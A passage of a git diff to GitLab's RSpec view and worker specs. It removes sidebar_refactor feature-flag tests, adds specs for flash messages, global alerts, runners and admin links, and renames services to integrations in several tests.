- render
-
- expect(page.at_css('.shortcuts-project').parent.css('[aria-label="Labels"]')).to be_empty
- end
- end
end
describe 'Members' do
@@ -124,16 +64,6 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
expect(page.at_css('.shortcuts-project-information').parent.css('[aria-label="Members"]')).not_to be_empty
expect(rendered).to have_link('Members', href: project_project_members_path(project))
end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- it 'does not have a link to the members page' do
- stub_feature_flags(sidebar_refactor: false)
-
- render
-
- expect(page.at_css('.shortcuts-project').parent.css('[aria-label="Members"]')).to be_empty
- end
- end
end
end
@@ -243,27 +173,6 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
end
end
- describe 'Labels' do
- let(:page) { Nokogiri::HTML.parse(rendered) }
-
- it 'does not have a link to the labels page' do
- render
-
- expect(page.at_css('.shortcuts-issues').parent.css('[aria-label="Labels"]')).to be_empty
- end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- it 'has a link to the labels page' do
- stub_feature_flags(sidebar_refactor: false)
-
- render
-
- expect(page.at_css('.shortcuts-issues').parent.css('[aria-label="Labels"]')).not_to be_empty
- expect(rendered).to have_link('Labels', href: project_labels_path(project))
- end
- end
- end
-
describe 'Service Desk' do
it 'has a link to the service desk path' do
render
@@ -313,7 +222,7 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
end
context 'with Jira issue tracker' do
- let_it_be(:jira) { create(:jira_service, project: project, issues_enabled: false) }
+ let_it_be(:jira) { create(:jira_integration, project: project, issues_enabled: false) }
it 'has a link to the Jira issue tracker' do
render
@@ -323,40 +232,6 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
end
end
- describe 'Labels' do
- it 'does not show the labels menu' do
- project.project_feature.update!(issues_access_level: ProjectFeature::DISABLED)
-
- render
-
- expect(rendered).not_to have_link('Labels', href: project_labels_path(project), class: 'shortcuts-labels')
- end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- context 'when issues are not enabled' do
- it 'has a link to the labels path' do
- project.project_feature.update!(issues_access_level: ProjectFeature::DISABLED)
-
- render
-
- expect(rendered).to have_link('Labels', href: project_labels_path(project), class: 'shortcuts-labels')
- end
- end
-
- context 'when issues are enabled' do
- it 'does not have a link to the labels path' do
- render
-
- expect(rendered).not_to have_link('Labels', href: project_labels_path(project), class: 'shortcuts-labels')
- end
- end
- end
- end
-
describe 'Merge Requests' do
it 'has a link to the merge request list path' do
render
@@ -479,16 +354,6 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
expect(rendered).not_to have_link('Feature Flags')
end
end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- it 'does not have a Feature Flags menu item' do
- stub_feature_flags(sidebar_refactor: false)
-
- render
-
- expect(rendered).not_to have_selector('.shortcuts-deployments')
- end
- end
end
describe 'Environments' do
@@ -508,16 +373,6 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
expect(rendered).not_to have_link('Environments')
end
end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- it 'does not have a Environments menu item' do
- stub_feature_flags(sidebar_refactor: false)
-
- render
-
- expect(rendered).not_to have_selector('.shortcuts-deployments')
- end
- end
end
describe 'Releases' do
@@ -526,16 +381,6 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
expect(rendered).to have_link('Releases', href: project_releases_path(project), class: 'shortcuts-deployments-releases')
end
-
- context 'when feature flag :sidebar refactor is disabled' do
- it 'does not have a link to the project releases path' do
- stub_feature_flags(sidebar_refactor: false)
-
- render
-
- expect(rendered).not_to have_link('Releases', href: project_releases_path(project), class: 'shortcuts-deployments-releases')
- end
- end
end
end
@@ -662,141 +507,6 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
end
end
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- describe 'Serverless' do
- it 'has a link to the serverless page' do
- render
-
- page = Nokogiri::HTML.parse(rendered)
-
- expect(page.at_css('.shortcuts-operations').parent.css('[aria-label="Serverless"]')).not_to be_empty
- expect(rendered).to have_link('Serverless', href: project_serverless_functions_path(project))
- end
-
- describe 'when the user does not have access' do
- let(:user) { nil }
-
- it 'does not have a link to the serverless page' do
- render
-
- expect(rendered).not_to have_link('Serverless')
- end
- end
- end
-
- describe 'Terraform' do
- it 'has a link to the terraform page' do
- render
-
- page = Nokogiri::HTML.parse(rendered)
-
- expect(page.at_css('.shortcuts-operations').parent.css('[aria-label="Terraform"]')).not_to be_empty
- expect(rendered).to have_link('Terraform', href: project_terraform_index_path(project))
- end
-
- describe 'when the user does not have access' do
- let(:user) { nil }
-
- it 'does not have a link to the terraform page' do
- render
-
- expect(rendered).not_to have_link('Terraform')
- end
- end
- end
-
- describe 'Kubernetes' do
- it 'has a link to the kubernetes page' do
- render
-
- page = Nokogiri::HTML.parse(rendered)
-
- expect(page.at_css('.shortcuts-operations').parent.css('[aria-label="Kubernetes"]')).not_to be_empty
- expect(rendered).to have_link('Kubernetes', href: project_clusters_path(project))
- end
-
- describe 'when the user does not have access' do
- let(:user) { nil }
-
- it 'does not have a link to the kubernetes page' do
- render
-
- expect(rendered).not_to have_link('Kubernetes')
- end
- end
- end
- end
-
- describe 'Environments' do
- let(:page) { Nokogiri::HTML.parse(rendered) }
-
- it 'does not have a link to the environments page' do
- render
-
- expect(page.at_css('.shortcuts-monitor').parent.css('[aria-label="Environments"]')).to be_empty
- end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- it 'has a link to the environments page' do
- render
-
- expect(page.at_css('.shortcuts-operations').parent.css('[aria-label="Environments"]')).not_to be_empty
- expect(rendered).to have_link('Environments', href: project_environments_path(project))
- end
-
- describe 'when the user does not have access' do
- let(:user) { nil }
-
- it 'does not have a link to the environments page' do
- render
-
- expect(rendered).not_to have_link('Environments')
- end
- end
- end
- end
-
- describe 'Feature Flags' do
- let(:page) { Nokogiri::HTML.parse(rendered) }
-
- it 'does not have a link to the feature flags page' do
- render
-
- expect(page.at_css('.shortcuts-monitor').parent.css('[aria-label="Feature Flags"]')).to be_empty
- end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
- end
-
- it 'has a link to the feature flags page' do
- render
-
- expect(page.at_css('.shortcuts-operations').parent.css('[aria-label="Feature Flags"]')).not_to be_empty
- expect(rendered).to have_link('Feature Flags', href: project_feature_flags_path(project))
- end
-
- describe 'when the user does not have access' do
- let(:user) { nil }
-
- it 'does not have a link to the feature flags page' do
- render
-
- expect(rendered).not_to have_link('Feature Flags')
- end
- end
- end
- end
-
describe 'Product Analytics' do
it 'has a link to the product analytics page' do
render
@@ -985,11 +695,11 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
end
end
- describe 'Value Stream' do
+ describe 'Value stream' do
it 'has a link to the value stream page' do
render
- expect(rendered).to have_link('Value Stream', href: project_cycle_analytics_path(project))
+ expect(rendered).to have_link('Value stream', href: project_cycle_analytics_path(project))
end
context 'when user does not have access' do
@@ -998,7 +708,7 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
it 'does not have a link to the value stream page' do
render
- expect(rendered).not_to have_link('Value Stream', href: project_cycle_analytics_path(project))
+ expect(rendered).not_to have_link('Value stream', href: project_cycle_analytics_path(project))
end
end
end
@@ -1104,35 +814,6 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
end
end
- describe 'Members' do
- it 'does not show the Member menu item' do
- expect(rendered).not_to have_selector('.sidebar-top-level-items > li > a[aria-label="Members"]')
- end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- before do
- stub_feature_flags(sidebar_refactor: false)
-
- render
- end
-
- context 'when user can access members' do
- it 'show Members link' do
- expect(rendered).to have_selector('.sidebar-top-level-items > li > a[aria-label="Members"]')
- expect(rendered).to have_link('Members', href: project_project_members_path(project))
- end
- end
-
- context 'when user cannot access members' do
- let(:user) { nil }
-
- it 'show Members link' do
- expect(rendered).not_to have_link('Members')
- end
- end
- end
- end
-
describe 'Settings' do
describe 'General' do
it 'has a link to the General settings' do
@@ -1275,16 +956,6 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
expect(rendered).to have_link('Packages & Registries', href: project_settings_packages_and_registries_path(project))
end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- it 'does not have a link to the Packages & Registries settings' do
- stub_feature_flags(sidebar_refactor: false)
-
- render
-
- expect(rendered).not_to have_link('Packages & Registries', href: project_settings_packages_and_registries_path(project))
- end
- end
end
context 'when registry is not enabled' do
@@ -1345,15 +1016,5 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
expect(rendered).not_to have_selector('.sidebar-sub-level-items > li.fly-out-top-item > a')
end
-
- context 'when feature flag :sidebar_refactor is disabled' do
- it 'renders the collapsed top menu as a link' do
- stub_feature_flags(sidebar_refactor: false)
-
- render
-
- expect(rendered).to have_selector('.sidebar-sub-level-items > li.fly-out-top-item > a')
- end
- end
end
end
diff --git a/spec/views/projects/_flash_messages.html.haml_spec.rb b/spec/views/projects/_flash_messages.html.haml_spec.rb
new file mode 100644
index 00000000000..e1858229208
--- /dev/null
+++ b/spec/views/projects/_flash_messages.html.haml_spec.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'projects/_flash_messages' do
+ let_it_be(:template) { 'projects/flash_messages' }
+ let_it_be(:user) { create(:user) }
+
+ let_it_be(:ruby) { create(:programming_language, name: 'Ruby') }
+ let_it_be(:html) { create(:programming_language, name: 'HTML') }
+ let_it_be(:hcl) { create(:programming_language, name: 'HCL') }
+
+ before do
+ allow(view).to receive(:current_user).and_return(user)
+ allow(view).to receive(:can?).with(user, :download_code, project).and_return(true)
+ end
+
+ context 'when current_user has download_code permission' do
+ context 'when user has a terraform state' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:terraform_state) { create(:terraform_state, :locked, :with_version, project: project) }
+
+ it "doesn't show the terraform notification banner" do
+ render(template, project: project)
+ expect(view.content_for(:flash_message)).not_to have_selector('.js-terraform-notification')
+ end
+ end
+
+ context 'when there are no .tf files in the repository' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:mock_repo_languages) do
+ { project => { ruby => 0.5, html => 0.5 } }
+ end
+
+ before do
+ mock_repo_languages.each do |project, lang_shares|
+ lang_shares.each do |lang, share|
+ create(:repository_language, project: project, programming_language: lang, share: share)
+ end
+ end
+ end
+
+ it "doesn't show the terraform notification banner" do
+ render(template, project: project)
+ expect(view.content_for(:flash_message)).not_to have_selector('.js-terraform-notification')
+ end
+ end
+
+ context 'when .tf files are present in the repository and user does not have any terraform states' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:mock_repo_languages) do
+ { project => { ruby => 0.5, hcl => 0.5 } }
+ end
+
+ before do
+ mock_repo_languages.each do |project, lang_shares|
+ lang_shares.each do |lang, share|
+ create(:repository_language, project: project, programming_language: lang, share: share)
+ end
+ end
+ end
+
+ it 'shows the terraform notification banner' do
+ render(template, project: project)
+ expect(view.content_for(:flash_message)).to have_selector('.js-terraform-notification')
+ end
+ end
+ end
+end
diff --git a/spec/views/projects/_home_panel.html.haml_spec.rb b/spec/views/projects/_home_panel.html.haml_spec.rb
index d329c57af00..78131937d3c 100644
--- a/spec/views/projects/_home_panel.html.haml_spec.rb
+++ b/spec/views/projects/_home_panel.html.haml_spec.rb
@@ -5,6 +5,38 @@ require 'spec_helper'
RSpec.describe 'projects/_home_panel' do
include ProjectForksHelper
+ context 'admin area link' do
+ let(:project) { create(:project) }
+
+ before do
+ assign(:project, project)
+ end
+
+ it 'renders admin area link for admin' do
+ allow(view).to receive(:current_user).and_return(create(:admin))
+
+ render
+
+ expect(rendered).to have_link(href: admin_project_path(project))
+ end
+
+ it 'does not render admin area link for non-admin' do
+ allow(view).to receive(:current_user).and_return(create(:user))
+
+ render
+
+ expect(rendered).not_to have_link(href: admin_project_path(project))
+ end
+
+ it 'does not render admin area link for anonymous' do
+ allow(view).to receive(:current_user).and_return(nil)
+
+ render
+
+ expect(rendered).not_to have_link(href: admin_project_path(project))
+ end
+ end
+
context 'notifications' do
let(:project) { create(:project) }
diff --git a/spec/views/projects/empty.html.haml_spec.rb b/spec/views/projects/empty.html.haml_spec.rb
index 7fa95507f75..0fb0ae5ff29 100644
--- a/spec/views/projects/empty.html.haml_spec.rb
+++ b/spec/views/projects/empty.html.haml_spec.rb
@@ -64,6 +64,7 @@ RSpec.describe 'projects/empty' do
expect(rendered).to have_selector('.js-invite-members-modal')
expect(rendered).to have_selector('[data-label=invite_members_empty_project]')
expect(rendered).to have_selector('[data-event=click_button]')
+ expect(rendered).to have_selector('[data-trigger-source=project-empty-page]')
end
context 'when user does not have permissions to invite members' do
diff --git a/spec/views/projects/pipelines/show.html.haml_spec.rb b/spec/views/projects/pipelines/show.html.haml_spec.rb
index 5b5c05527de..fcae587f8c8 100644
--- a/spec/views/projects/pipelines/show.html.haml_spec.rb
+++ b/spec/views/projects/pipelines/show.html.haml_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'projects/pipelines/show' do
include Devise::Test::ControllerHelpers
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
+
let(:pipeline) { create(:ci_pipeline, project: project) }
let(:presented_pipeline) { pipeline.present(current_user: user) }
diff --git a/spec/views/projects/runners/_specific_runners.html.haml_spec.rb b/spec/views/projects/runners/_specific_runners.html.haml_spec.rb
new file mode 100644
index 00000000000..ace3502dd1e
--- /dev/null
+++ b/spec/views/projects/runners/_specific_runners.html.haml_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'projects/runners/specific_runners.html.haml' do
+ describe 'render' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+
+ before do
+ @project = project
+ @assignable_runners = []
+ @project_runners = []
+ allow(view).to receive(:reset_registration_token_namespace_project_settings_ci_cd_path).and_return('banana_url')
+ end
+
+ context 'when project runner registration is allowed' do
+ before do
+ stub_application_setting(valid_runner_registrars: ['project'])
+ end
+
+ it 'enables the Remove project button for a project' do
+ render 'projects/runners/specific_runners', project: project
+
+ expect(rendered).to have_selector '#js-install-runner'
+ expect(rendered).not_to have_content 'Please contact an admin to register runners.'
+ end
+ end
+
+ context 'when project runner registration is not allowed' do
+ before do
+ stub_application_setting(valid_runner_registrars: ['group'])
+ end
+
+ it 'does not enable the the Remove project button for a project' do
+ render 'projects/runners/specific_runners', project: project
+
+ expect(rendered).to have_content 'Please contact an admin to register runners.'
+ expect(rendered).not_to have_selector '#js-install-runner'
+ end
+ end
+ end
+end
diff --git a/spec/views/projects/services/_form.haml_spec.rb b/spec/views/projects/services/_form.haml_spec.rb
index f063e73dae4..177f703ba6c 100644
--- a/spec/views/projects/services/_form.haml_spec.rb
+++ b/spec/views/projects/services/_form.haml_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe 'projects/services/_form' do
current_user: user,
can?: true,
current_application_settings: Gitlab::CurrentSettings.current_application_settings,
- integration: project.redmine_service,
+ integration: project.redmine_integration,
request: double(referer: '/services')
)
end
diff --git a/spec/views/projects/settings/operations/show.html.haml_spec.rb b/spec/views/projects/settings/operations/show.html.haml_spec.rb
index 43c064e1a2b..c0ec86a41a7 100644
--- a/spec/views/projects/settings/operations/show.html.haml_spec.rb
+++ b/spec/views/projects/settings/operations/show.html.haml_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe 'projects/settings/operations/show' do
create(:project_tracing_setting, project: project)
end
- let_it_be(:prometheus_service) { create(:prometheus_service, project: project) }
+ let_it_be(:prometheus_integration) { create(:prometheus_integration, project: project) }
before_all do
project.add_maintainer(user)
@@ -27,8 +27,8 @@ RSpec.describe 'projects/settings/operations/show' do
.and_return(error_tracking_setting)
allow(view).to receive(:tracing_setting)
.and_return(tracing_setting)
- allow(view).to receive(:prometheus_service)
- .and_return(prometheus_service)
+ allow(view).to receive(:prometheus_integration)
+ .and_return(prometheus_integration)
allow(view).to receive(:current_user).and_return(user)
end
diff --git a/spec/views/search/_results.html.haml_spec.rb b/spec/views/search/_results.html.haml_spec.rb
index 11f2a4082e7..ecfcf74edc1 100644
--- a/spec/views/search/_results.html.haml_spec.rb
+++ b/spec/views/search/_results.html.haml_spec.rb
@@ -32,6 +32,7 @@ RSpec.describe 'search/_results' do
let_it_be(:project) { create(:project) }
let_it_be(:issue) { create(:issue, project: project, title: '*') }
let_it_be(:note) { create(:discussion_note_on_issue, noteable: issue, project: issue.project, note: '```"helloworld"```') }
+
let(:scope) { 'notes' }
let(:search_objects) { Note.page(1).per(2) }
let(:term) { 'helloworld' }
@@ -61,7 +62,7 @@ RSpec.describe 'search/_results' do
let_it_be(:merge_request) { create(:merge_request, title: '*', source_project: project, target_project: project) }
let_it_be(:milestone) { create(:milestone, title: '*', project: project) }
let_it_be(:note) { create(:discussion_note_on_issue, project: project, note: '*') }
- let_it_be(:wiki_blob) { create(:wiki_page, project: project, content: '*') }
+ let_it_be(:wiki_blob) { create(:wiki_page, wiki: project.wiki, content: '*') }
let_it_be(:user) { create(:admin) }
%w[issues merge_requests].each do |search_scope|
diff --git a/spec/views/shared/_global_alert.html.haml_spec.rb b/spec/views/shared/_global_alert.html.haml_spec.rb
new file mode 100644
index 00000000000..7eec068645a
--- /dev/null
+++ b/spec/views/shared/_global_alert.html.haml_spec.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe 'shared/_global_alert.html.haml' do
+ before do
+ allow(view).to receive(:sprite_icon).and_return('<span class="icon"></span>'.html_safe)
+ end
+
+ it 'renders the title' do
+ title = "The alert's title"
+ render partial: 'shared/global_alert', locals: { title: title }
+
+ expect(rendered).to have_text(title)
+ end
+
+ context 'variants' do
+ it 'renders an info alert by default' do
+ render
+
+ expect(rendered).to have_selector(".gl-alert-info")
+ end
+
+ %w[warning success danger tip].each do |variant|
+ it "renders a #{variant} variant" do
+ allow(view).to receive(:variant).and_return(variant)
+ render partial: 'shared/global_alert', locals: { variant: variant }
+
+ expect(rendered).to have_selector(".gl-alert-#{variant}")
+ end
+ end
+ end
+
+ context 'dismissible option' do
+ it 'shows the dismiss button by default' do
+ render
+
+ expect(rendered).to have_selector('.gl-dismiss-btn')
+ end
+
+ it 'does not show the dismiss button when dismissible is false' do
+ render partial: 'shared/global_alert', locals: { dismissible: false }
+
+ expect(rendered).not_to have_selector('.gl-dismiss-btn')
+ end
+ end
+
+ context 'fixed layout' do
+ before do
+ allow(view).to receive(:fluid_layout).and_return(false)
+ end
+
+ it 'does not add layout limited class' do
+ render
+
+ expect(rendered).not_to have_selector('.gl-alert-layout-limited')
+ end
+
+ it 'adds container classes' do
+ render
+
+ expect(rendered).to have_selector('.container-fluid.container-limited')
+ end
+
+ it 'does not add container classes if is_contained is true' do
+ render partial: 'shared/global_alert', locals: { is_contained: true }
+
+ expect(rendered).not_to have_selector('.container-fluid.container-limited')
+ end
+ end
+
+ context 'fluid layout' do
+ before do
+ allow(view).to receive(:fluid_layout).and_return(true)
+ render
+ end
+
+ it 'adds layout limited class' do
+ expect(rendered).to have_selector('.gl-alert-layout-limited')
+ end
+
+ it 'does not add container classes' do
+ expect(rendered).not_to have_selector('.container-fluid.container-limited')
+ end
+ end
+end
diff --git a/spec/views/shared/_label_row.html.haml_spec.rb b/spec/views/shared/_label_row.html.haml_spec.rb
index e9a0bfdcd4e..6fe74b6633b 100644
--- a/spec/views/shared/_label_row.html.haml_spec.rb
+++ b/spec/views/shared/_label_row.html.haml_spec.rb
@@ -3,6 +3,7 @@ require 'spec_helper'
RSpec.describe 'shared/_label_row.html.haml' do
let_it_be(:group) { create(:group) }
+
let(:label) { build_stubbed(:group_label, group: group).present(issuable_subject: group) }
before do
@@ -11,6 +12,7 @@ RSpec.describe 'shared/_label_row.html.haml' do
context 'with a project context' do
let_it_be(:project) { create(:project, group: group) }
+
let(:label) { build_stubbed(:label, project: project).present(issuable_subject: project) }
before do
@@ -42,6 +44,7 @@ RSpec.describe 'shared/_label_row.html.haml' do
context 'with a subgroup context' do
let_it_be(:subgroup) { create(:group, parent: group) }
+
let(:label) { build_stubbed(:group_label, group: subgroup).present(issuable_subject: subgroup) }
before do
diff --git a/spec/views/shared/milestones/_top.html.haml_spec.rb b/spec/views/shared/milestones/_top.html.haml_spec.rb
index 1aa971709f1..aa989d3e441 100644
--- a/spec/views/shared/milestones/_top.html.haml_spec.rb
+++ b/spec/views/shared/milestones/_top.html.haml_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'shared/milestones/_top.html.haml' do
let_it_be(:group) { create(:group) }
+
let(:project) { create(:project, group: group) }
let(:milestone) { create(:milestone, project: project) }
diff --git a/spec/workers/authorized_project_update/user_refresh_from_replica_worker_spec.rb b/spec/workers/authorized_project_update/user_refresh_from_replica_worker_spec.rb
index cdf2cb493b0..c27629c3a15 100644
--- a/spec/workers/authorized_project_update/user_refresh_from_replica_worker_spec.rb
+++ b/spec/workers/authorized_project_update/user_refresh_from_replica_worker_spec.rb
@@ -3,9 +3,72 @@
require 'spec_helper'
RSpec.describe AuthorizedProjectUpdate::UserRefreshFromReplicaWorker do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { project.namespace.owner }
+
+ let(:execute_worker) { subject.perform(user.id) }
+
it 'is labeled as low urgency' do
expect(described_class.get_urgency).to eq(:low)
end
- it_behaves_like "refreshes user's project authorizations"
+ it_behaves_like 'an idempotent worker' do
+ let(:job_args) { user.id }
+ end
+
+ describe '#perform' do
+ it 'checks if a project_authorization refresh is needed for the user' do
+ expect(AuthorizedProjectUpdate::FindRecordsDueForRefreshService).to(
+ receive(:new).with(user).and_call_original)
+
+ execute_worker
+ end
+
+ context 'when there are project authorization records due for either removal or addition for a specific user' do
+ before do
+ user.project_authorizations.delete_all
+ end
+
+ it 'enqueues a new project authorization update job for the user' do
+ expect(AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker).to receive(:perform_async).with(user.id)
+
+ execute_worker
+ end
+ end
+
+ context 'when there are no additions or removals to be made to project authorizations for a specific user' do
+ it 'does not enqueue a new project authorization update job for the user' do
+ expect(AuthorizedProjectUpdate::UserRefreshWithLowUrgencyWorker).not_to receive(:perform_async)
+
+ execute_worker
+ end
+ end
+
+ context 'with load balancing enabled' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
+ end
+
+ it 'reads from the replica database' do
+ expect(Gitlab::Database::LoadBalancing::Session.current).to receive(:use_replicas_for_read_queries).and_call_original
+
+ execute_worker
+ end
+ end
+
+ context 'when the feature flag `user_refresh_from_replica_worker_uses_replica_db` is disabled' do
+ before do
+ stub_feature_flags(user_refresh_from_replica_worker_uses_replica_db: false)
+ end
+
+ it 'calls Users::RefreshAuthorizedProjectsService' do
+ source = 'AuthorizedProjectUpdate::UserRefreshFromReplicaWorker'
+ expect_next_instance_of(Users::RefreshAuthorizedProjectsService, user, { source: source }) do |service|
+ expect(service).to receive(:execute)
+ end
+
+ execute_worker
+ end
+ end
+ end
end
diff --git a/spec/workers/build_finished_worker_spec.rb b/spec/workers/build_finished_worker_spec.rb
index 3434980341b..6b7162ee886 100644
--- a/spec/workers/build_finished_worker_spec.rb
+++ b/spec/workers/build_finished_worker_spec.rb
@@ -10,6 +10,7 @@ RSpec.describe BuildFinishedWorker do
let_it_be(:build) { create(:ci_build, :success, pipeline: create(:ci_pipeline)) }
before do
+ stub_feature_flags(ci_build_finished_worker_namespace_changed: build.project)
expect(Ci::Build).to receive(:find_by).with(id: build.id).and_return(build)
end
@@ -23,11 +24,23 @@ RSpec.describe BuildFinishedWorker do
expect(BuildHooksWorker).to receive(:perform_async)
expect(ChatNotificationWorker).not_to receive(:perform_async)
- expect(ArchiveTraceWorker).to receive(:perform_in)
+ expect(Ci::ArchiveTraceWorker).to receive(:perform_in)
subject
end
+ context 'with ci_build_finished_worker_namespace_changed feature flag disabled' do
+ before do
+ stub_feature_flags(ci_build_finished_worker_namespace_changed: false)
+ end
+
+ it 'calls deprecated worker' do
+ expect(ArchiveTraceWorker).to receive(:perform_in)
+
+ subject
+ end
+ end
+
context 'when build is failed' do
before do
build.update!(status: :failed)
diff --git a/spec/workers/build_queue_worker_spec.rb b/spec/workers/build_queue_worker_spec.rb
index 5f8510abf23..0786722e647 100644
--- a/spec/workers/build_queue_worker_spec.rb
+++ b/spec/workers/build_queue_worker_spec.rb
@@ -26,6 +26,5 @@ RSpec.describe BuildQueueWorker do
it_behaves_like 'worker with data consistency',
described_class,
- feature_flag: :load_balancing_for_build_queue_worker,
data_consistency: :sticky
end
diff --git a/spec/workers/bulk_imports/export_request_worker_spec.rb b/spec/workers/bulk_imports/export_request_worker_spec.rb
index 8d528011752..cb280c6d263 100644
--- a/spec/workers/bulk_imports/export_request_worker_spec.rb
+++ b/spec/workers/bulk_imports/export_request_worker_spec.rb
@@ -6,12 +6,17 @@ RSpec.describe BulkImports::ExportRequestWorker do
let_it_be(:bulk_import) { create(:bulk_import) }
let_it_be(:config) { create(:bulk_import_configuration, bulk_import: bulk_import) }
let_it_be(:entity) { create(:bulk_import_entity, source_full_path: 'foo/bar', bulk_import: bulk_import) }
+ let_it_be(:version_url) { 'https://gitlab.example/api/v4/version' }
let(:response_double) { double(code: 200, success?: true, parsed_response: {}) }
let(:job_args) { [entity.id] }
describe '#perform' do
before do
+ allow(Gitlab::HTTP)
+ .to receive(:get)
+ .with(version_url, anything)
+ .and_return(double(code: 200, success?: true, parsed_response: { 'version' => Gitlab::VERSION }))
allow(Gitlab::HTTP).to receive(:post).and_return(response_double)
end
diff --git a/spec/workers/ci/archive_trace_worker_spec.rb b/spec/workers/ci/archive_trace_worker_spec.rb
new file mode 100644
index 00000000000..889e0c92042
--- /dev/null
+++ b/spec/workers/ci/archive_trace_worker_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::ArchiveTraceWorker do
+ describe '#perform' do
+ subject { described_class.new.perform(job&.id) }
+
+ context 'when job is found' do
+ let(:job) { create(:ci_build, :trace_live) }
+
+ it 'executes service' do
+ allow_next_instance_of(Ci::ArchiveTraceService) do |instance|
+ allow(instance).to receive(:execute).with(job, anything)
+ end
+
+ subject
+ end
+ end
+
+ context 'when job is not found' do
+ let(:job) { nil }
+
+ it 'does not execute service' do
+ allow_next_instance_of(Ci::ArchiveTraceService) do |instance|
+ allow(instance).not_to receive(:execute)
+ end
+
+ subject
+ end
+ end
+ end
+end
diff --git a/spec/workers/ci/build_finished_worker_spec.rb b/spec/workers/ci/build_finished_worker_spec.rb
new file mode 100644
index 00000000000..374ecd8619f
--- /dev/null
+++ b/spec/workers/ci/build_finished_worker_spec.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::BuildFinishedWorker do
+ subject { described_class.new.perform(build.id) }
+
+ describe '#perform' do
+ context 'when build exists' do
+ let_it_be(:build) { create(:ci_build, :success, pipeline: create(:ci_pipeline)) }
+
+ before do
+ stub_feature_flags(ci_build_finished_worker_namespace_changed: build.project)
+ expect(Ci::Build).to receive(:find_by).with(id: build.id).and_return(build)
+ end
+
+ it 'calculates coverage and calls hooks', :aggregate_failures do
+ expect(build).to receive(:parse_trace_sections!).ordered
+ expect(build).to receive(:update_coverage).ordered
+
+ expect_next_instance_of(Ci::BuildReportResultService) do |build_report_result_service|
+ expect(build_report_result_service).to receive(:execute).with(build)
+ end
+
+ expect(BuildHooksWorker).to receive(:perform_async)
+ expect(ChatNotificationWorker).not_to receive(:perform_async)
+ expect(Ci::ArchiveTraceWorker).to receive(:perform_in)
+
+ subject
+ end
+
+ context 'with ci_build_finished_worker_namespace_changed feature flag disabled' do
+ before do
+ stub_feature_flags(ci_build_finished_worker_namespace_changed: false)
+ end
+
+ it 'calls deprecated worker' do
+ expect(ArchiveTraceWorker).to receive(:perform_in)
+
+ subject
+ end
+ end
+
+ context 'when build is failed' do
+ before do
+ build.update!(status: :failed)
+ end
+
+ it 'adds a todo' do
+ expect(::Ci::MergeRequests::AddTodoWhenBuildFailsWorker).to receive(:perform_async)
+
+ subject
+ end
+ end
+
+ context 'when build has a chat' do
+ before do
+ build.pipeline.update!(source: :chat)
+ end
+
+ it 'schedules a ChatNotification job' do
+ expect(ChatNotificationWorker).to receive(:perform_async).with(build.id)
+
+ subject
+ end
+ end
+ end
+
+ context 'when build does not exist' do
+ it 'does not raise exception' do
+ expect { described_class.new.perform(non_existing_record_id) }
+ .not_to raise_error
+ end
+ end
+ end
+end
diff --git a/spec/workers/ci/resource_groups/assign_resource_from_resource_group_worker_spec.rb b/spec/workers/ci/resource_groups/assign_resource_from_resource_group_worker_spec.rb
index f9914a7cecb..650be1e84a9 100644
--- a/spec/workers/ci/resource_groups/assign_resource_from_resource_group_worker_spec.rb
+++ b/spec/workers/ci/resource_groups/assign_resource_from_resource_group_worker_spec.rb
@@ -5,15 +5,23 @@ require 'spec_helper'
RSpec.describe Ci::ResourceGroups::AssignResourceFromResourceGroupWorker do
let(:worker) { described_class.new }
+ it 'has the `until_executed` deduplicate strategy' do
+ expect(described_class.get_deduplicate_strategy).to eq(:until_executed)
+ end
+
describe '#perform' do
subject { worker.perform(resource_group_id) }
- context 'when resource group exists' do
- let(:resource_group) { create(:ci_resource_group) }
- let(:resource_group_id) { resource_group.id }
+ let(:resource_group) { create(:ci_resource_group) }
+ let(:resource_group_id) { resource_group.id }
+ include_examples 'an idempotent worker' do
+ let(:job_args) { [resource_group_id] }
+ end
+
+ context 'when resource group exists' do
